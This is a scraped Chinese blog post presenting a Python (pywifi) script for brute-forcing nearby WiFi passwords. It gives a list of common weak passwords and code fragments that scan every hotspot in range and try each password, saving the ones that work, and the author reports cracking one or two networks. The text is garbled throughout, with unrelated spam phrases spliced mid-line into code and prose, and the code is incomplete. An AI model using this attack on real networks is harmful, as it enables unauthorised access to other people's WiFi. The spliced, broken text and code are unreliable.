如何⽤python轻松破解wifi密码(源码)
摘要: 我得说明下这个东西⼀点都不⾼端,甚⾄看起来有点糟糕。⽽且⽤的是单线程~,因为过⼏天要搬家了,于是。。
环境准备
新婚贺词四字python2.7
凑合的linux
差不多的⽆线⽹卡
弱⼝令字典
清除系统中的任何wifi连接记录(⾮常重要)
⾸先,这个模块在win下有点鸡肋,作者在调⽤WLANAPI时没有做好WLAN_SECURITY_ATTRIBUTES的封装,所以推荐在linux下跑,我测试所使⽤的是Kali 2.0 ⾃带python 2.7.6 ,可直接通过 pip install pywifi 安装。
导⼊模块
这⾥⽤的模块就这三个 pywifi的_wifiutil_linux.py脚本的 _send_cmd_to_wpas⽅法中的if reply != b'OK\n':判断需要修改,不然会有很多的提⽰信息。
from pywifi import *
import time
import sys
字典准备
效率很重要,毕竟这东西跑起来可真慢,下⾯是天朝⽤的⽐较多的wifi弱⼝令TOP10雨的古诗
1. 12345678
2. 123456789
3. 88888888
4. 1234567890
5. 00000000
6. 87654321
7. 66668888
8. 11223344
9. 147258369
10. 11111111
配置扫描器
推荐扫描时常可以设置在15-20秒之间测试时常则可以⾃定义,考虑到认证速度于距离的关系,我⼀般设置在15左右,再久的也没意义到时候就算破解成功的热点,信号也好不到哪⾥
print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,
"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,
"KEY","="*70)
#将每⼀个热点信息逐⼀进⾏测试
for i,x in enumerate(scanres):
#测试完毕后,成功的结果讲存储到files中
res = test(nums-i,iface,x,keys,output,testtimes)
if res:
open(files,"a").write(res)
扫描周围热点
def scans(face,timeout):
#开始扫描
face.scan()
美国科幻大片电影time.sleep(timeout)
#在若⼲秒后获取扫描结果
return face.scan_results()
热点测试
这⾥后续推荐将扫描过程数据⼊库,防⽌重复扫描,且更加直观。
stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,
7,x.signal,10,len(key)-n,place("\n","")))
stu.flush()
if code == 4:
face.disconnect()重生之名门闺秀
return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False
无尽之剑3剧情
案例
这⾥显⽰本次测试使⽤了11个弱⼝令,并扫描到了20个热点,然后开始坑爹的跑起来了WIFIID热点的id号每跑⼀个会减1
SSID OR BSSID热点的ssid名或mac地址
N对热点的连接状态,这个在
time当前所花去的时间
signal热点的信号强度,若⼩越好
KEYNUM测试密码的id 每跑⼀个会减1
KEY当前测试的密码毗
结果还不错,各位的安全意识不像以前那么蛋疼了,扫出⼀两个,其中⼀个还是⾃家的
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论